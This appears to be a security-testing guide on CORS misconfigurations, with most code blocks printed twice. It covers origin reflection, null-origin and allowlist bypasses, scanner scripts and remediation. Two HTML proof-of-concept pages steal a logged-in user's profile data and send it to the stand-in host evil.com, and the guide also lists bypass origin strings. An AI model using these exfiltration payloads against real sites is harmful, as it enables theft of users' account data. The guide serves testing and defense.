CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) misconfigurations can allow attackers to steal sensitive data, perform actions on behalf of users, and bypass same-origin policy protections.
โ ๏ธ Why CORS Misconfigurations Are Dangerous
๐ก Real-World Impact: CORS misconfigurations have led to account takeovers in major bug bounty programs including Uber, Facebook, and numerous financial applications.
CORS Fundamentals
Access-Control-Allow-Origin, Access-Control-Allow-Credentials)
to tell the browser whether a cross-origin request should be allowed. Misconfiguration occurs when these
headers are too permissive.
๐ ๏ธ CORS Testing Tools
curl
Manual CORS header testing
curl -sI -H "Origin: ..." Understanding CORS Headers
| Header | Purpose | Dangerous Values |
|---|---|---|
Access-Control-Allow-Origin | Specifies allowed origins | * or reflected origin |
Access-Control-Allow-Credentials | Allows sending cookies/auth | true with permissive ACAO |
Access-Control-Allow-Methods | Permitted HTTP methods | PUT, DELETE, PATCH unnecessarily |
Access-Control-Allow-Headers | Permitted request headers | * or Authorization |
Access-Control-Expose-Headers | Headers accessible to JS | Sensitive headers exposed |
1. Origin Reflection (Most Critical)
The server blindly reflects any Origin header value in the Access-Control-Allow-Origin
response. Combined with Access-Control-Allow-Credentials: true, this allows full data theft.
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# If both present โ CRITICAL: Full authenticated data theft possible# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# If both present โ CRITICAL: Full authenticated data theft possibleExploitation PoC
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
// This runs on attacker's site (evil.com)
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate the victim's data
console.log('Stolen data:', JSON.stringify(data));
// Send to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html><!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
// This runs on attacker's site (evil.com)
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate the victim's data
console.log('Stolen data:', JSON.stringify(data));
// Send to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html>2. Null Origin Bypass
Some applications allowlist the null origin, which can be triggered from sandboxed iframes,
data: URIs, and local file origins.
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile
# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Origin will be 'null' from sandboxed iframe
fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
});
</script>
"></iframe><!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Origin will be 'null' from sandboxed iframe
fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
});
</script>
"></iframe>3. Wildcard with Credentials
While browsers block Access-Control-Allow-Origin: * with credentials, some servers
work around this by dynamically reflecting the origin when credentials are needed โ creating the
same vulnerability as origin reflection.
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ Browser will NOT send cookies with this
# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ Server dynamically reflects any origin to allow credentials# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ Browser will NOT send cookies with this
# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ Server dynamically reflects any origin to allow credentials4. Regex & Allowlist Bypass
Many applications use regex or string-matching to validate origins. Poorly implemented checks can be bypassed.
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com
# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com
# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com
# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)
# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com
# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com
# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com
# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)
# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)5. Pre-flight Request Handling
Complex requests trigger a preflight OPTIONS request. Mishandling of preflight can expose additional attack vectors.
# Test preflight handling
curl -X OPTIONS -sI \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
https://target.com/api/data
# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *
# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400 โ 24 hours, changes take effect slowly# Test preflight handling
curl -X OPTIONS -sI \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
https://target.com/api/data
# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *
# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400 โ 24 hours, changes take effect slowlyAutomation Scripts
Python CORS Scanner
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse
def test_cors(url):
"""Test for common CORS misconfigurations"""
results = []
parsed = urlparse(url)
tests = [
# Origin reflection
{"Origin": "https://evil.com"},
# Null origin
{"Origin": "null"},
# Subdomain matching bypass
{"Origin": f"https://evil.{parsed.netloc}"},
# Prefix match bypass
{"Origin": f"https://{parsed.netloc}.evil.com"},
# Scheme downgrade
{"Origin": f"http://{parsed.netloc}"},
]
for headers in tests:
try:
resp = requests.get(url, headers=headers, timeout=10)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == headers["Origin"]:
severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
results.append({
"origin": headers["Origin"],
"reflected": acao,
"credentials": acac,
"severity": severity
})
except requests.RequestException as e:
print(f" [-] Error testing {headers}: {e}")
return results
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
print(f"[*] Testing CORS on: {target}")
findings = test_cors(target)
if findings:
for f in findings:
print(f" [!] {f['severity']}: Origin '{f['origin']}' reflected")
print(f" ACAO: {f['reflected']}")
print(f" Credentials: {f['credentials']}")
else:
print(" [+] No CORS misconfigurations found")#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse
def test_cors(url):
"""Test for common CORS misconfigurations"""
results = []
parsed = urlparse(url)
tests = [
# Origin reflection
{"Origin": "https://evil.com"},
# Null origin
{"Origin": "null"},
# Subdomain matching bypass
{"Origin": f"https://evil.{parsed.netloc}"},
# Prefix match bypass
{"Origin": f"https://{parsed.netloc}.evil.com"},
# Scheme downgrade
{"Origin": f"http://{parsed.netloc}"},
]
for headers in tests:
try:
resp = requests.get(url, headers=headers, timeout=10)
acao = resp.headers.get("Access-Control-Allow-Origin", "")
acac = resp.headers.get("Access-Control-Allow-Credentials", "")
if acao == headers["Origin"]:
severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
results.append({
"origin": headers["Origin"],
"reflected": acao,
"credentials": acac,
"severity": severity
})
except requests.RequestException as e:
print(f" [-] Error testing {headers}: {e}")
return results
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
print(f"[*] Testing CORS on: {target}")
findings = test_cors(target)
if findings:
for f in findings:
print(f" [!] {f['severity']}: Origin '{f['origin']}' reflected")
print(f" ACAO: {f['reflected']}")
print(f" Credentials: {f['credentials']}")
else:
print(" [+] No CORS misconfigurations found")Bash Quick Check
#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"
echo "[*] Testing CORS: $TARGET"
# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"
# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom" \
"$TARGET" | grep -i "access-control"
# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"
echo "[*] Testing CORS: $TARGET"
# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"
# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom" \
"$TARGET" | grep -i "access-control"
# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"Bulk Testing with Nuclei
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt
# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20
# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt
# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20
# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"High-Impact Exploitation Scenarios
๐ณ Account Data Theft
Steal user profile data, API keys, personal information, and payment details from authenticated API endpoints.
๐ Token Extraction
Extract CSRF tokens, API keys, or session data from responses to chain with other attacks.
๐ State-Changing Actions
Perform authenticated mutations (password change, email update, money transfer) if CORS allows methods and credentials.
๐๏ธ Internal Network Probing
Exploit CORS on internal applications to pivot from an XSS on a public app to internal API data theft.
๐ก๏ธ Remediation & Defense
Defensive Measures
Origin Validation
- โข Use a strict allowlist of permitted origins (exact string match)
- โข Never reflect the
Originheader without validation - โข Reject
nullorigin unless specifically required - โข Validate both scheme and hostname (don't allow HTTP for HTTPS sites)
Header Configuration
- โข Only set
Access-Control-Allow-Credentials: truewhen absolutely needed - โข Restrict
Access-Control-Allow-Methodsto minimum required - โข Limit
Access-Control-Expose-Headersto non-sensitive headers - โข Use short
Access-Control-Max-Agevalues for preflight caching
Architecture
- โข Implement CORS at the reverse proxy/gateway level for consistency
- โข Use server-side proxying instead of CORS where possible
- โข Audit CORS configuration regularly in CI/CD
- โข Add CORS checks to security testing pipeline
Monitoring
- โข Log cross-origin requests with credentials
- โข Alert on CORS requests from unexpected origins
- โข Monitor for CORS policy changes in production
- โข Test CORS configuration after deployments
CWE References: CWE-942 (Permissive Cross-domain Policy), CWE-346 (Origin Validation Error)
โ CORS Testing Checklist
- โ Arbitrary origin reflection
- โ Null origin acceptance
- โ Subdomain-based bypass
- โ Prefix/suffix matching flaws
- โ Protocol downgrade (httpโhttps)
- โ Credentials allowed with permissive ACAO
- โ Wildcard methods allowed
- โ Sensitive headers exposed
- โ Preflight caching duration
- โ Vary: Origin header present
- โ Sensitive data readable cross-origin
- โ State-changing actions possible
- โ Token/credential extraction
- โ Document PoC with evidence
- โ Rate CVSS appropriately